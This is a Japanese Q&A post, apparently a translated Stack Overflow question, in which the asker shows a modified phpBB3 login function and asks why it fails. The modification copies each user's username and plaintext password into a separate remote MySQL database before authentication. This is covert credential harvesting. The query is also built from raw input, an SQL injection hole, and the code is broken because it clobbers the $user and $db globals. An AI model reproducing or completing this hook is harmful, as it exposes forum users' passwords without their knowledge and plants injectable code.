0

phpBB3 ユーザーのログイン情報 (ユーザー名/パスワード) を別のデータベースに保存するにはどうすればよいですか? auth.php の login 関数を次のように変更しました。

function login($username, $password, $autologin = false, $viewonline = 1, $admin = 0)
{
    global $config, $db, $user, $phpbb_root_path, $phpEx;

    $method = trim(basename($config['auth_method']));
    include_once($phpbb_root_path . 'includes/auth/auth_' . $method . '.' . $phpEx);

    $method = 'login_' . $method;

    /*START store user/pass in separate table */
    $user = "username";
    $pswd = "password";
    $db = "db_name";
    $conn = mysql_connect("mysql2.mydomain.com", $user, $pswd);
    mysql_select_db($db, $conn);

    $qry="INSERT INTO userdata (username, user_password) VALUES('$username', '$password')";
    mysql_query($qry);

    mysql_close($conn);
    //END store user/pass in separate table*/

    if (function_exists($method))
    {
        $login = $method($username, $password, $user->ip, $user->browser, $user->forwarded_for);

(正しい資格情報で) ログインしようとすると、次のエラーが表示されます: Fatal error: Call to a member function sql_escape() on a non-object in /public_html/includes/auth/auth_db.php on line 67

4

0 に答える 0